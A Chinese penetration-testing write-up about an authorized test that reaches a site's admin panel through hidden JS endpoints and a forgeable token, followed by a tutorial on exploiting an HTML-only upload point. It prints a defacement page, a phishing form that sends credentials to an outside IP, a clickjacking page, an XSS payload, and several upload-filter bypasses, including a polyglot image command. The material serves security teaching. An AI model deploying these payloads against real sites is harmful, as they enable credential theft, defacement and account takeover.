渗透测试|通过前端JS到后台文件上传html实战

渗透测试|通过前端JS到后台文件上传html实战

5a964df4bb58803094c69cb89ea9ab84

写在前面

这篇文章主要是通过前端JS来寻找接口进行测试,寻找漏洞成功进入后台后,进行后台文件上传html。仅供学习。

 

过程

前端JS进入后台

 

某日拿到授权站点,开始漫长的信息收集……
收集了许久,找到了一个后台,可惜用了许多方法都无法渗透进去。就在一筹莫展之际,突然想到了一些师傅通过前端JS寻找接口的骚操作,这里开始跃跃欲试。F12点击Sources,成功寻找到了userlogin.js。开始了一波小审计后,审计到了一些接口并进行测试访问,得到了些许收获:
本来正常访问后台http://x.x.x.x/admin/login.action登陆的时候,不仅需要用户名和密码,还需要验证码,这样就无法进行暴力破解:0ce68c745eb03918ace0ed12632b3383

 

 

 

可是这里找到了该接口:/admin/adminlogin.action,访问后验证码居然消失了,登陆只需要用户名和密码,那么这里便可以直接暴力破解了:

682f32cb69f668e2de0f94a6c0786d1c

 

 

还收获了两个接口,其中存在有参数jsoncallback,这里便可能存在jsonp劫持、jsonp注入以及xss等等漏洞了。768fdff5d0da26612ad439fd3fac0c9b

 

还有一处接口,则是/web/weblogin.action?token=。token是服务端生成的一串字符串,以作客户端进行请求的一个令牌,当第一次登录后,服务器生成一个token便将此token返回给客户端,以后客户端只需带上这个Token前来请求数据即可,无需再次带上用户名和密码。所以这里token值将会被记录到cookie里,而其可以用来辨别用户身份信息,再加上之前有碰到过直接在cookie中存储明文数据的情况,抱着碰碰运气的想法,这里直接在其后面写上admin,即/web/weblogin.action?token=admin,没想到竟意外成功登录进后台,且是超级管理员权限。

 

785efe0ca1a78ecce4ab0fba5a0ae3af

 

这里为了验证刚才的想法是否是正确的,便按下F12查看Application中的cookie值:

e551604780c81d91179b97d23e01feac

 

 

确实如此。哈哈,运气也太好了~

f3b997d7bdd7690c87ab389171a787c4

 

 

验证过后,这里点击切换账号,发现还有几个用户但是切换过去需要密码:

bf12294248b9d905c341df5152785c02

 

 

这里随机选中其中一个用户:

 

 

b130e9fe09bd80b48250a388337cc271

看到其用户名称为xxx,用户代码为180***,这里便测试将token的值从admin分别修改为用户名称xxx和用户代码180***,都可以直接成功切换为该用户了:

f5a4b042aee604e10df71c4629a35c82

 

 

依次测试,最后都能成功,故使token值为用户名称或者用户代码,最后均可直接登陆为该用户。

 

后台文件上传html

 

前面成功进入了后台,还是超级管理员权限,那么这里就来找找有没有可利用的文件上传的点。这里找了好几个,别说服务器端脚本木马了,就连html、htm这种后缀都不能上传。最后找到了一个也只可以上传html、htm这种后缀。那么这里可以利用的点就是文件上传xss、上传点击劫持页面、挂黑页等危害了。

 

这里先来简单介绍下吧:

 

介绍

 

文件上传漏洞是一个很经典的漏洞,同时也十分的严重。文件上传漏洞通常由于代码中对文件上传功能所上传的文件过滤不严或web服务器相关解析漏洞未修复而造成的,如果文件上传功能代码没有严格限制和验证用户上传的文件后缀、类型等,攻击者可通过文件上传点上传任意文件,包括网站后门文件(webshell)控制整个网站。

那么这里来讲讲文件上传漏洞上传html文件并解析的问题。

 

文件上传漏洞上传html文件

 

文件上传漏洞中我们一般都是上传对应网站能解析的服务器文件木马,比如php、asp、jsp等等后缀文件木马,以此达到控制整个网站的目的。但是现在很多网站都对文件上传漏洞上传木马防的很死,让我们无法下手。那么这时,我们也可以来通过上传html文件来扩大我们的攻击面。这里来介绍几种方法:

 

挂黑页

 

相信有炫技经验的师傅们一定可以想到,当我们在某个网站不能成功GetShell的时候,而又想要通过某种方法从而来达到炫技的目的,那么使用的方法是什么呢?没错,那就是挂黑页,一般使用的是CSS层叠样式表。

代码:

<html>
<head>
<meta charset=”UTF-8″>
</head>
<table style=”left: 0px; top: 0px; position: fixed;z-index: 5000;position:absolute;width:100%;height:300%;background-color: black;”>
<tbody>
<tr>
<td style=”color:#FFFFFF;z-index: 6000;vertical-align:top;”>
<h1>hacked by Johnson666</h1>
</td>
</tr>
</tbody>
</table>
</html>

效果:

 

 

c531ffa1f05e77e2994e676df5ca2618

是不是还挺有成就感~

这里如果开头加上了<!DOCTYPE html>,字会到下一行,看自己的需求吧:

ab1adae39470093ba01b390573760bd6

 

 

制作form表单钓鱼攻击页面

 

除了可以炫技来挂黑页以外,CSS层叠样式表可以做的东西还有很多,比如说这个form表单钓鱼攻击页面:

代码:

<!DOCTYPE html>
<html>
<head>
<meta charset=”UTF-8″>
</head>
<table+style=”left:+0px;+top:+0px;+position:+fixed;z-index:+5000;position:absolute;width:100%;background-color:white;”>
<tr>
<td>
<form action=”http://192.168.1.6/diaoyu/404.html” method=”post”>
账号:<input type=”text” name=”username”><br>
密码:<input type=”password” name=”password”><br>
<input type=”submit” value=”登录” name=”Login”>
</form>
</td>
</tr>
</table>
</html>

效果:

 

64cba94880328e6dbcedef850afc5b7a

 

随便输入账号密码,点击登录,跳转到了404界面:

bcb9fcc420cb17e2dcfe9ceaf2676e4d

 

 

制作点击劫持页面

 

点击劫持(ClickJacking)是一种视觉欺骗攻击手段,在web端就是iframe嵌套一个透明不可见的页面,让用户在不知情(被欺骗)的情况下,点击攻击者想要欺骗用户点击的位置。这种攻击利用了HTML中<iframe>标签的透明属性。就像一张图片上面铺了一层透明的纸一样,你看到的是黑客的页面,但是其实这个页面只是在底部,而你真正点击的是被黑客透明化的另一个网页。

 

其中很多属性的解释在代码中有用注释标明了。那么这里来讲讲其中没有注释的CSS中的position的属性。看如下这张图:4f64122db19ff189dadd063e080b095a

 

 

 

制作代码:

<!DOCTYPE html>
<html>
<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″>
<head>
<title>点击劫持制作</title>
<style>
iframe {
width: 1920px;
height: 1200px;
position: absolute;
top: 0px;
left: 0px;
z-index: 2; //设置元素的堆叠顺序。拥有更高堆叠顺序的元素总是会处于堆叠顺序较低的元素的前面。简单的说就是利用这个属性可以把一段文字置于一张图片之上,或者把图片置于文字之上,只要设置好合适的优先级就可以了
/*控制不透明度的属性,兼容各大浏览器*/
filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/
-moz-opacity: 0; /*提供给火狐浏览器的*/
-webkit-opacity: 0; /*提供给webkit内核的*/
-khtml-opacity: 0; /*提供给KHTML内核的*/
-ms-filter: “progid:DXImageTransform.Microsoft.Alpha(Opacity=0)”; /*提供给IE8之后的*/
opacity: 0;
/*控制不透明度的属性,兼容各大浏览器*/
}

button {
position: absolute;
top: 345px; /*元素的顶部边缘,定义了一个定位元素的上外边距边界与其包含块上边界之间的偏移*/
left: 933px; /*元素的左边缘,定义了定位元素左外边距边界与其包含块左边界之间的偏移*/
z-index: 0; /*设置元素的堆叠顺序。拥有更高堆叠顺序的元素总是会处于堆叠顺序较低的元素的前面。简单的说就是利用这个属性可以把一段文字置于一张图片之上,或者把图片置于文字之上,只要设置好合适的优先级就可以了*/
width: 52.5166px;
height: 20.8px;
}
</style>
</head>
<body>
<button style=’font-size:7px’>点击脱衣</button>
<img src=”http://pic1.win4000.com/wallpaper/2018-03-19/5aaf2bf0122d2.jpg”>
<iframe src=”http://127.0.0.1/bachang/dvwa” scrolling=”no”></iframe> /*用scrolling=”no”使内嵌的网页不能滚动*/
</body>
</html>

结果:

 

32be4adfeb91592abf57e855e82fdf5f

 

把其中iframe的opacity属性调成0.5,这样就能看出来下面其实是dvwa的登陆界面,而按钮对应的位置正好是dvwa的登陆按钮:

d24cb6c81842c10fd2131aa0bed21c89这里可以自行替换成别的页面,比如点击跳转等等,就能起到更多更好的劫持的效果了。

 

文件上传XSS

 

文件上传的XSS一般都是上传html文件导致的XSS。一般使用的后缀名是htm后缀或者html后缀。

代码:

<html>
<body>
<img src=x onerror=alert(1)>
</body>
</html>

html后缀:

a4d569dd9e39913b20404a84df817c2a

 

 

htm后缀:

 

5f37b36090372df2baa9c6f601e115ca

 

一些简单的绕过方式:

 

1.后缀中加上空格:

比如ht m后缀:

2ddf52e8a619fb0c29f47f4f70086328

 

 

ht ml后缀:

61ce1d2112e22f0a4b6ac73aadd68467

 

 

2.改成其他任意的不存在的后缀

比如pnga:

8a51182bc195ab926ce5dd8dfdebd4e2

 

 

3.添加Gif89a头部

其实这是GIF89a图片欺骗攻击。在服务器中的源代码用getimagesize,mime_content_type,Fileinfo函数来获取图像信息,即检查文件内容时,在开头加GIF89a头部,可以对这些函数起到欺骗攻击。
如果验证了图片的内容,尝试添加:Gif89a,进行GIF89a图片欺骗攻击。不过也有些限制。比如用了Gif89a头:

a48f4042aa28123c23b1bc06cbd81eef

 

 

那么其后缀名必须得是htm,html这样的规范后缀才能弹窗;而像ht m,ht ml或者随便乱取的不存在的后缀就不会弹窗了:

 

htm后缀,能弹窗:e89b12bdec927e29d70eebbf72ded9f9

 

 

 

 

乱取的不存在的后缀,不会弹窗:

 

960b8527811149dada100a3f78e929af

 

4.添加jpg头部绕过

这里其实类似上面的gif欺骗攻击。直接用文件上传图片马制作工具edjpgcom,准备一张图片,然后拖进去,在框中放入xss的代码:

 

40904571c8d2e05cc2813d3877450b48

 

然后点击OK制作成功,这样xss的图片就有jpg头部了:

 

dd978c7d4b8e9a56c742c8c1fcd8db83

 

这里还可以用命令行形式来制作xss的图片:copy 1.jpg/b + xss.html/a 2.jpg 。

 

 

那么为什么不直接把代码插入到图片里,而是要用上面这样来制作xss的图片呢?

因为这样打开的图片是正确的:

 

26c42a5d79cfe7b61ed275fd2e39f36e

 

 

而像下面这样直接把代码插入到图片里,图片会显示错误:

 

 

936809fb839e5b5fa913ffc0b17b7369c928d7467d140ba986d10d30d07f7cbc

06a733e82a2268b6813e289f0cce57a3

本文来自投稿,不代表安强科技社区立场,如若转载,请注明出处:https://community.anqiangkj.com/archives/3429

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022年1月21日 下午6:16
下一篇 2022年1月22日 下午7:32

相关推荐

发表回复

您的电子邮箱地址不会被公开。